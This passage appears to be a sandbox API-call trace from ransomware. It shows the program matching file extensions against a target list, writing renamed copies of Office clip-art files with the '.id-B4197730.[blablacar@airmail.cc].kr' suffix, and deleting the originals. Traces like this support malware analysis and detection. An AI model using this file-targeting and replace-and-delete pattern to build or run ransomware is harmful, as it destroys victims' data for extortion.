lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0196.167] lstrlenW (lpString=".dbf") returned 4 [0196.167] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0196.167] lstrlenW (lpString=".1cd") returned 4 [0196.167] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0196.167] lstrlenW (lpString=".jpg") returned 4 [0196.168] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0196.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0196.168] lstrlenW (lpString=".doc") returned 4 [0196.168] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.168] lstrlenW (lpString=".docx") returned 5 [0196.168] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.168] lstrlenW (lpString=".pdf") returned 4 [0196.168] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.168] lstrlenW (lpString=".xls") returned 4 [0196.168] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.168] lstrlenW (lpString=".xlsx") returned 5 [0196.168] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.168] lstrlenW (lpString=".ppt") returned 4 [0196.168] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0196.168] lstrlenW (lpString=".zip") returned 4 [0196.168] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.168] lstrlenW (lpString=".rar") returned 4 [0196.168] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.168] lstrlenW (lpString=".bz2") returned 4 [0196.168] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.168] lstrlenW (lpString=".7z") returned 3 [0196.168] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0196.168] lstrlenW (lpString=".dbf") returned 4 [0196.168] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0196.168] lstrlenW (lpString=".1cd") returned 4 [0196.168] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0196.169] lstrlenW (lpString=".jpg") returned 4 [0196.169] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.169] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0196.169] lstrlenW (lpString="HH00669_.WMF") returned 12 [0196.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0196.171] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=11490) returned 1 [0196.171] CloseHandle (hObject=0x54c) returned 1 [0196.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 0x220 [0196.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0196.172] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.172] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0196.174] GetLastError () returned 0x0 [0196.174] ReadFile (in: hFile=0x54c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x2ce2, lpOverlapped=0x0) returned 1 [0196.640] WriteFile (in: hFile=0x538, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x2cf0, lpOverlapped=0x0) returned 1 [0196.641] ReadFile (in: hFile=0x54c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.641] WriteFile (in: hFile=0x538, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0196.642] SetEndOfFile (hFile=0x538) returned 1 [0196.642] CloseHandle (hObject=0x538) returned 1 [0196.642] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.642] SetEndOfFile (hFile=0x54c) returned 1 [0196.645] CloseHandle (hObject=0x54c) returned 1 [0196.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 1 [0196.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0196.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0196.646] lstrlenW (lpString=".doc") returned 4 [0196.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.646] lstrlenW (lpString=".docx") returned 5 [0196.646] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.646] lstrlenW (lpString=".pdf") returned 4 [0196.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.646] lstrlenW (lpString=".xls") returned 4 [0196.646] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.646] lstrlenW (lpString=".xlsx") returned 5 [0196.646] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.647] lstrlenW (lpString=".ppt") returned 4 [0196.647] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0196.647] lstrlenW (lpString=".zip") returned 4 [0196.647] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.647] lstrlenW (lpString=".rar") returned 4 [0196.647] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.647] lstrlenW (lpString=".bz2") returned 4 [0196.647] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.647] lstrlenW (lpString=".7z") returned 3 [0196.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0196.647] lstrlenW (lpString=".dbf") returned 4 [0196.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0196.647] lstrlenW (lpString=".1cd") returned 4 [0196.647] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0196.647] lstrlenW (lpString=".jpg") returned 4 [0196.647] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0196.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0196.647] lstrlenW (lpString=".doc") returned 4 [0196.647] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.647] lstrlenW (lpString=".docx") returned 5 [0196.647] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.647] lstrlenW (lpString=".pdf") returned 4 [0196.647] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.647] lstrlenW (lpString=".xls") returned 4 [0196.647] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.648] lstrlenW (lpString=".xlsx") returned 5 [0196.648] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.648] lstrlenW (lpString=".ppt") returned 4 [0196.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0196.648] lstrlenW (lpString=".zip") returned 4 [0196.648] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.648] lstrlenW (lpString=".rar") returned 4 [0196.648] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.648] lstrlenW (lpString=".bz2") returned 4 [0196.648] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.648] lstrlenW (lpString=".7z") returned 3 [0196.648] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0196.648] lstrlenW (lpString=".dbf") returned 4 [0196.648] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0196.648] lstrlenW (lpString=".1cd") returned 4 [0196.648] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0196.648] lstrlenW (lpString=".jpg") returned 4 [0196.648] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.648] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0196.648] lstrlenW (lpString="HH01242_.WMF") returned 12 [0196.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0196.650] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=7340) returned 1 [0196.650] CloseHandle (hObject=0x54c) returned 1 [0196.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 0x220 [0196.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0196.650] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.651] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0196.652] GetLastError () returned 0x0 [0196.652] ReadFile (in: hFile=0x54c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x1cac, lpOverlapped=0x0) returned 1 [0196.653] WriteFile (in: hFile=0x538, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x1cb0, lpOverlapped=0x0) returned 1 [0196.654] ReadFile (in: hFile=0x54c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.654] WriteFile (in: hFile=0x538, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0196.654] SetEndOfFile (hFile=0x538) returned 1 [0196.655] CloseHandle (hObject=0x538) returned 1 [0196.655] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.655] SetEndOfFile (hFile=0x54c) returned 1 [0196.657] CloseHandle (hObject=0x54c) returned 1 [0196.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.658] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 1 [0196.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0196.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0196.659] lstrlenW (lpString=".doc") returned 4 [0196.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.659] lstrlenW (lpString=".docx") returned 5 [0196.659] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.659] lstrlenW (lpString=".pdf") returned 4 [0196.659] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.659] lstrlenW (lpString=".xls") returned 4 [0196.659] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.659] lstrlenW (lpString=".xlsx") returned 5 [0196.659] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.659] lstrlenW (lpString=".ppt") returned 4 [0196.659] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0196.659] lstrlenW (lpString=".zip") returned 4 [0196.659] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.659] lstrlenW (lpString=".rar") returned 4 [0196.659] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.659] lstrlenW (lpString=".bz2") returned 4 [0196.659] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.659] lstrlenW (lpString=".7z") returned 3 [0196.659] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0196.659] lstrlenW (lpString=".dbf") returned 4 [0196.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0196.660] lstrlenW (lpString=".1cd") returned 4 [0196.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0196.660] lstrlenW (lpString=".jpg") returned 4 [0196.660] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0196.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0196.660] lstrlenW (lpString=".doc") returned 4 [0196.660] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.660] lstrlenW (lpString=".docx") returned 5 [0196.660] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.660] lstrlenW (lpString=".pdf") returned 4 [0196.660] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.660] lstrlenW (lpString=".xls") returned 4 [0196.660] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.660] lstrlenW (lpString=".xlsx") returned 5 [0196.660] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.660] lstrlenW (lpString=".ppt") returned 4 [0196.660] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0196.660] lstrlenW (lpString=".zip") returned 4 [0196.660] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.660] lstrlenW (lpString=".rar") returned 4 [0196.660] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.660] lstrlenW (lpString=".bz2") returned 4 [0196.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.660] lstrlenW (lpString=".7z") returned 3 [0196.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0196.661] lstrlenW (lpString=".dbf") returned 4 [0196.661] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0196.661] lstrlenW (lpString=".1cd") returned 4 [0196.661] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0196.661] lstrlenW (lpString=".jpg") returned 4 [0196.661] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.661] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0196.661] lstrlenW (lpString="HH01291_.WMF") returned 12 [0196.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0196.662] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=15806) returned 1 [0196.662] CloseHandle (hObject=0x54c) returned 1 [0196.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 0x220 [0196.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0196.663] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.663] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0196.664] GetLastError () returned 0x0 [0196.664] ReadFile (in: hFile=0x54c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x3dbe, lpOverlapped=0x0) returned 1 [0196.666] WriteFile (in: hFile=0x538, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x3dc0, lpOverlapped=0x0) returned 1 [0196.668] ReadFile (in: hFile=0x54c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.668] WriteFile (in: hFile=0x538, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0196.668] SetEndOfFile (hFile=0x538) returned 1 [0196.668] CloseHandle (hObject=0x538) returned 1 [0196.668] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.668] SetEndOfFile (hFile=0x54c) returned 1 [0196.672] CloseHandle (hObject=0x54c) returned 1 [0196.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 1 [0196.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0196.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0196.673] lstrlenW (lpString=".doc") returned 4 [0196.673] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.673] lstrlenW (lpString=".docx") returned 5 [0196.673] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.673] lstrlenW (lpString=".pdf") returned 4 [0196.673] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.673] lstrlenW (lpString=".xls") returned 4 [0196.673] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.673] lstrlenW (lpString=".xlsx") returned 5 [0196.674] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.674] lstrlenW (lpString=".ppt") returned 4 [0196.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0196.674] lstrlenW (lpString=".zip") returned 4 [0196.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.674] lstrlenW (lpString=".rar") returned 4 [0196.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.674] lstrlenW (lpString=".bz2") returned 4 [0196.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.674] lstrlenW (lpString=".7z") returned 3 [0196.674] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0196.674] lstrlenW (lpString=".dbf") returned 4 [0196.674] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0196.674] lstrlenW (lpString=".1cd") returned 4 [0196.674] 